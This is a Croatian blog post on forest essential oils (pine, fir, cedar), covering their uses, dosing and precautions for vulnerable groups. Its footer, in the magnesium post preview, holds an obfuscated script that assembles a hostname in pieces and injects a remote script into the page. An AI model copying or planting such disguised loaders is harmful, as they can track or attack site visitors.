ŠUMSKA ETERIČNA ULJA - PRIMJENA, DJELOVANJE I MJERE OPREZA




Šumska eterična ulja - primjena, djelovanje i mjere opreza 




Šumska eterična ulja obuhvaćaju skupinu eteričnih ulja dobivenih destilacijom iglica, drveta i smole zimzelenih stabala. Najčešće se koriste bijeli bor, bijela i sibirska jela te atlaski, himalajski i virđinijski cedar. U aromaterapiji imaju jasno definiranu ulogu, prvenstveno kao potpora dišnom sustavu, ali i kao pomoć kod mišićnog umora, napetosti i opće iscrpljenosti. Iako su prirodnog podrijetla, riječ je o snažno koncentriranim tvarima koje zahtijevaju pravilno doziranje i poznavanje ograničenja u primjeni.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


U inhalacijskoj primjeni šumska eterična ulja djeluju antiseptičko i ekspektorirajuće. Najčešće se koriste kod prehlade, kašlja, začepljenih sinusa i osjećaja pritiska u prsima, kao i u razdobljima povećanog psihofizičkog umora.

Difuziranje u prostoru prikladan je i najsigurniji način primjene za većinu populacije, uz umjereno trajanje i niže koncentracije


Sibirska jela smatra se blažim izborom i često se bolje podnosi. Bijeli bor i pojedina smolasta ulja intenzivnijeg djelovanja mogu nadražiti dišne putove kod osjetljivijih osoba ili u akutnim fazama respiratornih tegoba.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


U dermalnoj primjeni šumska eterična ulja koriste se isključivo pravilno razrijeđena u biljnim uljima, balzamima ili gotovim bazama. Najčešća primjena odnosi se na masaže kod mišićne napetosti, reumatskih i zglobnih tegoba, osjećaja hladnoće u ekstremitetima te općeg umora, kod nanošenja na predio pluća radi olakšavanja disanja.

Njihovo djelovanje povezano je s poticanjem cirkulacije i osjećajem topline. Važno je naglasiti da nisu sva šumska eterična ulja jednako pogodna za kožu.

Bijeli bor i neka druga zimzelena ulja mogu biti dermalno iritirajuća ako se koriste u previsokim koncentracijama ili na osjetljivoj koži.

Bijela i sibirska jela u pravilu se smatraju sigurnijim izborom, dok su cedrovi snažnijeg profila i koriste se selektivno, bez dugotrajne ili česte primjene.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

Posebne mjere opreza nužne su kod osjetljivih skupina

Kod djece se šumska eterična ulja primjenjuju isključivo inhalacijski, kratkotrajno i u vrlo niskim koncentracijama, bez dermalne uporabe.

Trudnice i dojilje trebaju izbjegavati većinu cedrova i jače smolaste profile, dok se primjena ostalih šumskih ulja provodi samo uz stručno vodstvo.

Starija populacija često ih dobro podnosi, ali uz smanjene doze i kraće vrijeme primjene. 

Kod osoba s astmom, KOPB-om i drugim kroničnim dišnim bolestima potreban je dodatni oprez jer i inhalacija može biti preintenzivna, osobito u akutnoj fazi bolesti.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Takozvana šumska eterična ulja imaju važno mjesto u aromaterapiji, ali njihova uporaba mora biti temeljena na znanju, individualnoj procjeni i jasnim pravilima sigurnosti.

Difuziranje, dermalna primjena i izbor konkretnog ulja nisu međusobno zamjenjivi postupci. Prirodno podrijetlo ne znači automatsku sigurnost, već odgovornost u primjeni.

Kada se koriste pravilno i s mjerom, eterična ulja mogu biti vrijedna i učinkovita potpora disanju, tijelu i općem osjećaju ravnoteže.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Šumska eterična ulja



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više